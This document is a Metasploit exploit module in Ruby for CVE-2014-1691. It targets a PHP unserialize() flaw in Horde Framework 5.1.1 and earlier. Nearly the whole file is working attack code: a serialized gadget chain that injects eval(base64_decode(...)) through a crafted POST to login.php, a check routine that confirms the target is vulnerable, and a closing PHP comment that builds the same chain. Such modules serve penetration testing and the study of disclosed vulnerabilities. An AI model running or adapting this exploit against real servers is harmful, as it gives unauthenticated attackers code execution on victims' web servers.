Horde Framework – Unserialize PHP Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde Framework Unserialize PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be abused to allow unauthenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file. The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean class to reach a dangerous call_user_func() call in the Horde_Prefs class. }, 'Author' => [ 'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor) 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-1691' ], [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ], [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ], [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ ['Horde 5', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 27 2013' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"]) ], self.class) end def check flag = rand_text_alpha(rand(10)+20) res = send_request_exploit("print #{flag};die;") if res and res.body and res.body.to_s =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Testing injection...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...") end print_status("#{peer} - Exploiting the unserialize()...") send_request_exploit(payload.encoded) end def send_request_exploit(p) php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();" payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";" payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";" payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}" payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}" payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}" send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, "login.php"), 'method' => 'POST', 'vars_post' => { '_formvars' => payload_serialized }, 'headers' => { 'Cmd' => Rex::Text.encode_base64(p) } }) end end =begin PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection class Horde_Config { protected $_oldConfig = "phpinfo();die;"; } class Horde_Prefs_Scope { protected $_prefs = array(1); } class Horde_Prefs { protected $_opts, $_scopes; function __construct() { $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig'); $this->_scopes['horde'] = new Horde_Prefs_Scope; } } class Horde_Prefs_Identity { protected $_prefs, $_prefnames; function __construct() { $this->_prefs = new Horde_Prefs; $this->_prefnames['identities'] = 0; } } class Horde_Kolab_Server_Decorator_Clean { private $_server, $_added = array(1); function __construct() { $this->_server = new Horde_Prefs_Identity; } } $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); =end |